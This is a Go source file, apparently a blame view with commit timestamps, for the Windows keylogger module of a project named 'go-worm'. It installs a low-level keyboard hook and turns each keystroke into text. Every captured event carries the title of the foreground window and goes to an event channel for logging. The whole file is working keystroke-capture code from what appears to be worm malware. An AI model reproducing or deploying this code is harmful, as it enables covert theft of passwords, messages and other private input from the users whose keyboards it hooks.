2026-08-28 12:44:09 +03:00
|
|
|
//go:build windows
|
|
|
|
|
|
|
|
|
|
package keylog
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"fmt"
|
|
|
|
|
"sync"
|
|
|
|
|
"syscall"
|
|
|
|
|
"time"
|
|
|
|
|
"unsafe"
|
|
|
|
|
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
2026-09-01 20:12:12 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
2026-08-28 12:44:09 +03:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
const (
|
|
|
|
|
whKeyboardLL = 13
|
|
|
|
|
wmKeydown = 0x0100
|
|
|
|
|
wmKeyup = 0x0101
|
|
|
|
|
wmSyskeydown = 0x0104
|
|
|
|
|
wmSyskeyup = 0x0105
|
|
|
|
|
wmQuit = 0x0012
|
|
|
|
|
llkhfInjected = 0x10
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
var (
|
|
|
|
|
user32 = syscall.NewLazyDLL("user32.dll")
|
|
|
|
|
procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW")
|
|
|
|
|
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
|
|
|
|
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
|
|
|
|
procGetMessageW = user32.NewProc("GetMessageW")
|
|
|
|
|
procTranslateMessage = user32.NewProc("TranslateMessage")
|
|
|
|
|
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
|
|
|
|
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
|
|
|
|
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
|
|
|
|
|
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
|
|
|
|
procGetKeyboardState = user32.NewProc("GetKeyboardState")
|
|
|
|
|
procToUnicode = user32.NewProc("ToUnicode")
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type kbdLLHookStruct struct {
|
|
|
|
|
VkCode uint32
|
|
|
|
|
ScanCode uint32
|
|
|
|
|
Flags uint32
|
|
|
|
|
Time uint32
|
|
|
|
|
DwExtraInfo uintptr
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type msg struct {
|
|
|
|
|
HWnd uintptr
|
|
|
|
|
Message uint32
|
|
|
|
|
WParam uintptr
|
|
|
|
|
LParam uintptr
|
|
|
|
|
Time uint32
|
|
|
|
|
Pt struct {
|
|
|
|
|
X int32
|
|
|
|
|
Y int32
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
type modifierState struct {
|
|
|
|
|
shiftL bool
|
|
|
|
|
shiftR bool
|
|
|
|
|
ctrl bool
|
|
|
|
|
alt bool
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (m modifierState) shift() bool {
|
|
|
|
|
return m.shiftL || m.shiftR
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var (
|
|
|
|
|
hookMu sync.Mutex
|
|
|
|
|
hookEvents chan Event
|
|
|
|
|
hookThreadID uint32
|
|
|
|
|
hookMods modifierState
|
|
|
|
|
lastHWND uintptr
|
|
|
|
|
lastTitle string
|
2026-09-02 00:00:24 +03:00
|
|
|
// ponytail: NewCallback is never freed; reuse across Start/Stop.
|
|
|
|
|
hookCB = syscall.NewCallback(keyboardHookProc)
|
2026-08-28 12:44:09 +03:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
|
|
|
|
hookEvents = events
|
|
|
|
|
ready := make(chan struct{})
|
|
|
|
|
|
|
|
|
|
go func() {
|
|
|
|
|
defer close(done)
|
2026-09-01 20:12:12 +03:00
|
|
|
defer helpers.RecoverLog("keylog-hook")
|
2026-08-28 12:44:09 +03:00
|
|
|
_ = runHookThread(ready)
|
|
|
|
|
hookEvents = nil
|
|
|
|
|
hookThreadID = 0
|
|
|
|
|
}()
|
|
|
|
|
|
|
|
|
|
go func() {
|
2026-09-01 20:12:12 +03:00
|
|
|
defer helpers.RecoverLog("keylog-stop")
|
2026-08-28 12:44:09 +03:00
|
|
|
select {
|
|
|
|
|
case <-ready:
|
|
|
|
|
case <-stop:
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
<-stop
|
|
|
|
|
threadID := hookThreadID
|
|
|
|
|
if threadID != 0 {
|
|
|
|
|
_, _, _ = procPostThreadMessageW.Call(uintptr(threadID), wmQuit, 0, 0)
|
|
|
|
|
}
|
|
|
|
|
}()
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func stopPlatform() {}
|
|
|
|
|
|
|
|
|
|
func initKeylog() error {
|
|
|
|
|
dir, err := config.KeylogDir()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
return PruneOldLogs(dir, config.KeylogRetentionDays())
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func runHookThread(ready chan struct{}) error {
|
|
|
|
|
hookThreadID = windowsGetCurrentThreadId()
|
|
|
|
|
close(ready)
|
|
|
|
|
|
2026-09-02 00:00:24 +03:00
|
|
|
handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookCB, 0, 0)
|
2026-08-28 12:44:09 +03:00
|
|
|
if handle == 0 {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
defer procUnhookWindowsHookEx.Call(handle)
|
|
|
|
|
|
|
|
|
|
var message msg
|
|
|
|
|
for {
|
|
|
|
|
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), 0, 0, 0)
|
|
|
|
|
switch int32(ret) {
|
|
|
|
|
case -1:
|
|
|
|
|
return fmt.Errorf("GetMessage failed")
|
|
|
|
|
case 0:
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
if message.Message == wmQuit {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
|
|
|
|
|
_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
|
|
|
|
|
if code >= 0 {
|
2026-09-01 23:12:22 +03:00
|
|
|
handleHookEvent(wParam, lParam)
|
2026-08-28 12:44:09 +03:00
|
|
|
}
|
|
|
|
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
|
|
|
|
|
return ret
|
|
|
|
|
}
|
|
|
|
|
|
2026-09-01 23:12:22 +03:00
|
|
|
func handleHookEvent(wParam, lParam uintptr) {
|
|
|
|
|
defer helpers.RecoverLog("keylog-callback")
|
|
|
|
|
kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
|
|
|
|
|
switch wParam {
|
|
|
|
|
case wmKeydown, wmSyskeydown:
|
|
|
|
|
if isModifierVK(kb.VkCode) {
|
|
|
|
|
hookMods.update(kb.VkCode, true)
|
|
|
|
|
} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
|
|
|
|
|
enqueueKey(event)
|
|
|
|
|
}
|
|
|
|
|
case wmKeyup, wmSyskeyup:
|
|
|
|
|
if isModifierVK(kb.VkCode) {
|
|
|
|
|
hookMods.update(kb.VkCode, false)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func enqueueKey(event Event) {
|
|
|
|
|
ch := hookEvents
|
|
|
|
|
if ch == nil {
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
select {
|
|
|
|
|
case ch <- event:
|
|
|
|
|
default:
|
|
|
|
|
// ponytail: drop when full; upgrade path is larger buffer
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-28 12:44:09 +03:00
|
|
|
func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
|
|
|
|
|
injected := kb.Flags&llkhfInjected != 0
|
|
|
|
|
if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 {
|
|
|
|
|
return Event{
|
|
|
|
|
Time: time.Now(),
|
|
|
|
|
Injected: true,
|
|
|
|
|
Window: foregroundTitle(),
|
|
|
|
|
Text: string(rune(kb.ScanCode)),
|
|
|
|
|
}, true
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
text, ok := appendText(kb.VkCode, kb.ScanCode, sysKey)
|
|
|
|
|
if !ok {
|
|
|
|
|
return Event{}, false
|
|
|
|
|
}
|
|
|
|
|
return Event{
|
|
|
|
|
Time: time.Now(),
|
|
|
|
|
Injected: injected,
|
|
|
|
|
Window: foregroundTitle(),
|
|
|
|
|
Text: text,
|
|
|
|
|
}, true
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func isModifierVK(vk uint32) bool {
|
|
|
|
|
switch vk {
|
|
|
|
|
case 0x10, 0x11, 0x12, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5:
|
|
|
|
|
return true
|
|
|
|
|
default:
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (m *modifierState) update(vk uint32, down bool) {
|
|
|
|
|
switch vk {
|
|
|
|
|
case 0xA0:
|
|
|
|
|
m.shiftL = down
|
|
|
|
|
case 0xA1:
|
|
|
|
|
m.shiftR = down
|
|
|
|
|
case 0x10:
|
|
|
|
|
m.shiftL = down
|
|
|
|
|
m.shiftR = down
|
|
|
|
|
case 0xA2, 0xA3, 0x11:
|
|
|
|
|
m.ctrl = down
|
|
|
|
|
case 0xA4, 0xA5, 0x12:
|
|
|
|
|
m.alt = down
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func appendText(vk, scanCode uint32, sysKey bool) (string, bool) {
|
|
|
|
|
if hookMods.ctrl || hookMods.alt {
|
|
|
|
|
return "", false
|
|
|
|
|
}
|
|
|
|
|
if text, ok := specialText(vk); ok {
|
|
|
|
|
return text, true
|
|
|
|
|
}
|
|
|
|
|
if char, ok := keyChar(vk, scanCode); ok {
|
|
|
|
|
return char, true
|
|
|
|
|
}
|
|
|
|
|
if sysKey && vk == 0x20 {
|
|
|
|
|
return " ", true
|
|
|
|
|
}
|
|
|
|
|
return "", false
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func specialText(vk uint32) (string, bool) {
|
|
|
|
|
switch vk {
|
|
|
|
|
case 0x0D:
|
|
|
|
|
return "\n", true
|
|
|
|
|
case 0x09:
|
|
|
|
|
return "\t", true
|
|
|
|
|
case 0x20:
|
|
|
|
|
return " ", true
|
|
|
|
|
default:
|
|
|
|
|
return "", false
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func keyChar(vk, scanCode uint32) (string, bool) {
|
|
|
|
|
var state [256]byte
|
|
|
|
|
ok, _, _ := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&state[0])))
|
|
|
|
|
if ok == 0 {
|
|
|
|
|
return "", false
|
|
|
|
|
}
|
|
|
|
|
applyHookMods(&state)
|
|
|
|
|
if vk < uint32(len(state)) {
|
|
|
|
|
state[vk] |= 0x80
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var buf [8]uint16
|
|
|
|
|
n, _, _ := procToUnicode.Call(
|
|
|
|
|
uintptr(vk),
|
|
|
|
|
uintptr(scanCode),
|
|
|
|
|
uintptr(unsafe.Pointer(&state[0])),
|
|
|
|
|
uintptr(unsafe.Pointer(&buf[0])),
|
|
|
|
|
uintptr(len(buf)),
|
|
|
|
|
0,
|
|
|
|
|
)
|
|
|
|
|
if n != 1 {
|
|
|
|
|
return "", false
|
|
|
|
|
}
|
|
|
|
|
r := rune(buf[0])
|
|
|
|
|
if r < 32 || r == 127 {
|
|
|
|
|
return "", false
|
|
|
|
|
}
|
|
|
|
|
return string(r), true
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func applyHookMods(state *[256]byte) {
|
|
|
|
|
setDown := func(vk byte, down bool) {
|
|
|
|
|
if down {
|
|
|
|
|
state[vk] |= 0x80
|
|
|
|
|
} else {
|
|
|
|
|
state[vk] &^= 0x80
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
shift := hookMods.shift()
|
|
|
|
|
setDown(0x10, shift)
|
|
|
|
|
setDown(0xA0, hookMods.shiftL)
|
|
|
|
|
setDown(0xA1, hookMods.shiftR)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func foregroundTitle() string {
|
|
|
|
|
hwnd, _, _ := procGetForegroundWindow.Call()
|
|
|
|
|
if hwnd == 0 {
|
|
|
|
|
lastHWND = 0
|
|
|
|
|
lastTitle = "?"
|
|
|
|
|
return lastTitle
|
|
|
|
|
}
|
|
|
|
|
if hwnd == lastHWND && lastTitle != "" {
|
|
|
|
|
return lastTitle
|
|
|
|
|
}
|
|
|
|
|
lastHWND = hwnd
|
|
|
|
|
var buf [512]uint16
|
|
|
|
|
n, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
|
|
|
|
if n == 0 {
|
|
|
|
|
lastTitle = "?"
|
|
|
|
|
return lastTitle
|
|
|
|
|
}
|
|
|
|
|
lastTitle = syscall.UTF16ToString(buf[:n])
|
|
|
|
|
return lastTitle
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func windowsGetCurrentThreadId() uint32 {
|
|
|
|
|
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
|
|
|
|
getCurrentThreadId := kernel32.NewProc("GetCurrentThreadId")
|
|
|
|
|
id, _, _ := getCurrentThreadId.Call()
|
|
|
|
|
return uint32(id)
|
|
|
|
|
}
|